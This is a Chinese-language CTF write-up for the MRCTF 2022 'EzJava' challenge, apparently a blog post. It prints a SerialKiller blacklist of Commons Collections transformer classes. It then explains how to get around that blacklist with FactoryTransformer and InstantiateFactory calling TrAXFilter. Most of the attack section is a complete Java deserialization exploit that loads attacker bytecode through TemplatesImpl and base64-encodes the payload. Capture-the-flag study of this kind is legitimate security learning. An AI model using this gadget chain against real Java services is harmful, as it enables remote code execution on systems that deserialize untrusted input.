MRCTF 2022 EzJava
题目分析
下载附件得到一个 jar 包和一个 waf 配置文件。如果只是为了本地搭建环境,直接启动 jar 包就行了,但是如果需要进行远程调试就需要进行一些配置(这个网上教程很多),这个调试也要看具体需求,能直接打通的话就不需要调试。
但是不管怎么说,第一步肯定都是先解压 jar 包好进行代码审计。
先看依赖:
依赖挺多,不过对于我这个 java 新手不认识几个,但是发现了熟悉的 cc 链依赖。
然后找反序列化的入口 readObject
函数
这里就是获得 body 中的数据进行 base64 解码然后进行反序列化,不过注意到还有个 serialkiller.xml
文件,这是 SerialKiller
依赖的配置文件,也就是刚刚附件中的另一个文件,将其复制进项目的 resource 后进行分析
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>
过滤掉了之前学习 cc 链最后要用的所有 transform
方法的类。所以这道题题其实考察的就是最后执行命令部分。
现在需要找的就是有没有其他类的 transform
方法可以利用,来到 transform
接口开始一个一个寻找:
最后找到了 FactoryTransformer
的 transform
方法,后面类的 transform
我也只是粗略的看过,有可能也有利用的地方。
继续看 create
方法,看看哪些可以构成危险。这个 create
方法其实有点太多了,参考文章,最后在 cc 依赖目录下进行寻找就行了
这里非常可疑,看到可以达到实列化的目的,和 cc3 最后十分相像,cc3 最后是调用的 TrAXFilter
的构造函数从而调用到 newTransformer()
进行字节码加载。所以这里的可以利用这个 create
方法调用 TrAXFilter
的构造函数然后进行字节码加载。
exp 构造
先编写出最后执行的 transform 方法
InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});
FactoryTransformer fa = new FactoryTransformer(ins);
剩下的照搬 cc3 就行了
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class Main {
public static void main(String[] args)throws Exception {
TemplatesImpl tem = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});
FactoryTransformer fa = new FactoryTransformer(ins);
HashMap map2 = new HashMap();
Map<Object, Object> Lazy = LazyMap.decorate(map2, new ConstantTransformer(1));
Lazy.put("zZ", 1);
TiedMapEntry tie = new TiedMapEntry(Lazy, "aaa");
Hashtable hashtable = new Hashtable();
hashtable.put(tie, 1);
Lazy.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, fa);
try {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(out);
objout.writeObject(hashtable);
objout.close();
out.close();
byte[] ObjectBytes = out.toByteArray();
ByteArrayInputStream in=new ByteArrayInputStream(ObjectBytes);
ObjectInputStream objin=new ObjectInputStream(in);
objin.readObject();
objin.close();
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
执行测试
测试成功后将其序列化结果进行 base64 编码,
String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);
System.out.println(base64EncodedValue);
标签:MRCTF,java,commons,new,EzJava,2022,org,apache,import
From: https://www.cnblogs.com/gaorenyusi/p/18282544